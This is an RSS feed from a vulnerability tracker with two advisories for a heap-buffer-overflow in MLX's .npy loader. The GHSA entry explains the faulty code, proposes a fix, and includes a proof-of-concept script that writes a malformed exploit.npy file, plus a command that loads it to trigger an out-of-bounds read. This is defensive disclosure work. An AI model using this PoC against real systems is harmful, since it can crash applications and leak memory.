<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 18:31:26 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-62608 — MLX has heap-buffer-overflow in load()</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2025-62608</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; ml-explore mlx&lt;/p&gt;
&lt;p&gt;MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; ml-explore mlx&lt;/p&gt;
&lt;p&gt;MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2025-62608</guid>
    </item>
    <item>
      <title>GHSA-w6vg-jg77-2qg6 — MLX has heap-buffer-overflow in load()</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-w6vg-jg77-2qg6</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mlx&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;Heap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.&lt;/p&gt;
&lt;p&gt;Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7&lt;/p&gt;
&lt;p&gt;## Vulnerability&lt;/p&gt;
&lt;p&gt;The parser reads a 118-byte header from the file, but line 268 uses `std::string(&amp;amp;buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.&lt;/p&gt;
&lt;p&gt;**Location**: `mlx/io/load.cpp:268,276`&lt;/p&gt;
&lt;p&gt;**Bug #1** (line 268):
```cpp
std::string header(&amp;amp;buffer[0]);  // stops at first null byte
```&lt;/p&gt;
&lt;p&gt;**Bug #2** (line 276):
```cpp
bool col_contiguous = header[34] == &amp;#39;T&amp;#39;;  // No bounds check
```&lt;/p&gt;
&lt;p&gt;## Possible Fix&lt;/p&gt;
&lt;p&gt;```cpp
// Line 268
std::string header(&amp;amp;buffer[0], header_len);&lt;/p&gt;
&lt;p&gt;// Line 276
if (header.length() &amp;lt; 35) throw std::runtime_error(&amp;#34;Malformed header&amp;#34;);
```&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;```bash
pip install mlx&lt;/p&gt;
&lt;p&gt;# generate exploit
cat &amp;gt; exploit.py &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
import struct
magic = b&amp;#39;\x93NUMPY&amp;#39;
version = b&amp;#39;\x01\x00&amp;#39;
header = b&amp;#34;{&amp;#39;descr&amp;#39;: &amp;#39;&amp;lt;u2&amp;#39;, &amp;#39;fo\x00\x00\x00\x00n_order&amp;#39;: False, &amp;#39;shape&amp;#39;: (3,), }&amp;#34;
header += b&amp;#39; &amp;#39; * (118 - len(header) - 1) + b&amp;#39;\n&amp;#39;
with open(&amp;#39;exploit.npy&amp;#39;, &amp;#39;wb&amp;#39;) as f:
    f.write(magic + version + struct.pack(&amp;#39;&amp;lt;H&amp;#39;, 118) + header + b&amp;#39;\x00\x00\x00\x80\xff\xff&amp;#39;)
EOF
python3 exploit.py&lt;/p&gt;
&lt;p&gt;python3 -c &amp;#34;import mlx.core as mx; mx.load(&amp;#39;exploit.npy&amp;#39;)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;**AddressSanitizer Output (with instrumented b…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mlx&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;Heap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.&lt;/p&gt;
&lt;p&gt;Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7&lt;/p&gt;
&lt;p&gt;## Vulnerability&lt;/p&gt;
&lt;p&gt;The parser reads a 118-byte header from the file, but line 268 uses `std::string(&amp;amp;buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.&lt;/p&gt;
&lt;p&gt;**Location**: `mlx/io/load.cpp:268,276`&lt;/p&gt;
&lt;p&gt;**Bug #1** (line 268):
```cpp
std::string header(&amp;amp;buffer[0]);  // stops at first null byte
```&lt;/p&gt;
&lt;p&gt;**Bug #2** (line 276):
```cpp
bool col_contiguous = header[34] == &amp;#39;T&amp;#39;;  // No bounds check
```&lt;/p&gt;
&lt;p&gt;## Possible Fix&lt;/p&gt;
&lt;p&gt;```cpp
// Line 268
std::string header(&amp;amp;buffer[0], header_len);&lt;/p&gt;
&lt;p&gt;// Line 276
if (header.length() &amp;lt; 35) throw std::runtime_error(&amp;#34;Malformed header&amp;#34;);
```&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;```bash
pip install mlx&lt;/p&gt;
&lt;p&gt;# generate exploit
cat &amp;gt; exploit.py &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
import struct
magic = b&amp;#39;\x93NUMPY&amp;#39;
version = b&amp;#39;\x01\x00&amp;#39;
header = b&amp;#34;{&amp;#39;descr&amp;#39;: &amp;#39;&amp;lt;u2&amp;#39;, &amp;#39;fo\x00\x00\x00\x00n_order&amp;#39;: False, &amp;#39;shape&amp;#39;: (3,), }&amp;#34;
header += b&amp;#39; &amp;#39; * (118 - len(header) - 1) + b&amp;#39;\n&amp;#39;
with open(&amp;#39;exploit.npy&amp;#39;, &amp;#39;wb&amp;#39;) as f:
    f.write(magic + version + struct.pack(&amp;#39;&amp;lt;H&amp;#39;, 118) + header + b&amp;#39;\x00\x00\x00\x80\xff\xff&amp;#39;)
EOF
python3 exploit.py&lt;/p&gt;
&lt;p&gt;python3 -c &amp;#34;import mlx.core as mx; mx.load(&amp;#39;exploit.npy&amp;#39;)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;**AddressSanitizer Output (with instrumented b…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-w6vg-jg77-2qg6</guid>
    </item>
  </channel>
</rss>
